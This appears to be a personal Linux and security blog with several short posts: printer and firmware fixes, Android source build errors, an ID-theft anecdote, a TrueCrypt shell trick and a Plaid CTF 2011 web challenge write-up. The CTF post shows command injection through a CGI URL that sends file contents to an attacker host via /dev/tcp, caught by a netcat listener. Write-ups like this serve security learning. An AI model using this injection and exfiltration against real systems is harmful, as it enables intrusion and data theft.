0

Brother HL-2040 Linux install on Backtrack 4

-

I was getting CUPSD errors when trying to use my Laser Brother HL 2040 printer. But, you can install Brother HL-2040 by going to the brother website and downloading the linux drivers located here:
http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#HL-2040
I just installed the lpd driver using the command as follows:
$ sudo dpkg -i brhl2070nlpr-2.0.1-1.i386.deb
When printing now, just select local lpd and then select brother-HL2070 printer from the list (the drivers for both versions are same).

0

Android Source Downloading Errors

-

Over this weekend I decided to download the Android source tree on my computer (Backtrack 4 R2). The BT4R2 is no longer supported by the Offsec/Backtrack guys (mutt, purehate, etc.).
To start off with I tried to follow the instructions listed here.
The first error I got was with Git, I was using a version earlier than 1.5.4. So I downloaded git version 1.7.4, compiled it and installed it. Then I got the error:
fatal: unable to find remote handler for 'https'
Too bad, I tried recompiling and what not, and I did have openssl…so what was the problem?
The problem was not having libcurl-devel library. So I downloaded the library and launched configure, make clean, make and make install to reinstall git. Now the error was gone.

On the step where I am supposed to execute the following:
$ repo init -u https://android.googlesource.com/platform/manifest
I got the following error:

Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
Exception in thread Thread-3:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
Exception in thread Thread-4:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
Exception in thread Thread-2:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
Exception in thread Thread-5:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
error: Exited sync due to fetch errors

Seems like this error is caused because the content-length http header is not sent by the repository. If you upgrade to Python 2.7.x you can resolve this error.
Now if you are compiling Python from source, it doesn’t come by default with SSL support. So to add SSL support you should edit the Python-2.7/Modules/Setup file and uncomment four lines:
_socket socketmodule.c
# Socket module helper for SSL support; you must comment out the other
# socket line above, and possibly edit the SSL variable:
SSL=/usr
_ssl _ssl.c \
-DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \
-L$(SSL)/lib -lssl -lcrypto

Of course, then you can do the standard steps to compile and install python:
$ ./configure
$ make
$ sudo make install

repo sync would work very well thereafter.

0

The case of an ID theft scam

-

An interesting incident happened this past week to a friend – he had his identity stolen. More specifically, someone got a hold of his social security number (SSN), his date of birth (apparently) and his address. What the scammers or their “mules” (a term used to describe criminals who act on behalf of the actual criminal at their behest) did was that they went to the bank and requested to wire a huge sum of money to an account. The neat trick they played was before actually going to the bank they called the Verizon helpdesk and suspended my friend’s phone service. When they reached the bank and showed the bank agent the ID (some sort of a non-standard / fake ID) and gave the SSN to the bank agent, he/she grew suspicious and tried to contact my friend. However, due to Verizon suspending his phone service, the bank agent couldn’t get a hold of my friend. Luckily, the bank agent also sent my friend an email to which he responded promptly. The culprits were arrested and the investigation is still on.
What was quite interesting was, the modus operandi where the criminals know that banks rely on calling the customers if they suspect fraud and they had this covered. Quite intelligent.
So, you know what you need to do if your phone suddenly stops working – check if ID thieves have had a run on you, change all your passwords including email, change your credit card accounts and bank accounts and PINs and place a hold on your credit history with the credit reporting agencies such as Experian, Equifax and TransUnion.

0

Truecrypt password in history file

-

To avoid saving the truecrypt password in history files and mounting the Truecrypt partitions on bash the following trick helps:

history -d $((HISTCMD-1)) && sudo truecrypt --mount <PATH_TO_TRUECRYPT_VOL> --non-interactive -p <PASSWORD>

This will avoid saving the password in the .bash_history file and also mount the truecrypt volume from the command line.  Of course, if you use this in a shell script then the shell script will have the password in it, so you must not do that.

1

VPNC Connection Status

-

I was using the vpnc the other day on my Backtrack 4 R2 system to log in to VPN. I noticed that there was nothing that would give me the status of whether or not the tunnel was up. So I wrote a small one-liner to help me:

while [ `ps aux |grep vpnc|grep -v grep|awk '{print $2}'` ] ; do printf "Connected\r"; done

3

Plaid CtF 2011 – Writeup #16

-

The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web

The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
do
nc -l -v -p 5000
done

The answer was esc4p3_str1ng5.

Fun times!

2

BackTrack4 R2 iwlagn error

-

i updated my backtrack 4 R1 finally using the directions mentioned here. However, after the upgrade my Intel Corporation Wireless WiFi Link 5100 wireless adapter stopped working. My first thought was that the driver was corrupted or something after the upgrade.
But looking through the ‘dmesg‘ command output it became clear that during the startup a particular file iwlwifi-5000-2.ucode could not be located. I thought a reinstall will do it (always works right?).
# apt-get install firmware-iwlwifi
No luck yet! Searching for these files showed me that they were in two locations and both of these were identical (verified via md5sum) :
/lib/firmware-2.6.30.9/iwlwifi-5000-2.ucode
/lib/firmware-2.6.34/iwlwifi-5000-2.ucode

So I just added a symbolic link as follows:
ln -s /lib/firmware-2.6.34/iwlwifi-5000-2.ucode /lib/firmware-2.6.35.8/iwlwifi-5000-2.ucode
Voila! It now worked! Hope it helps!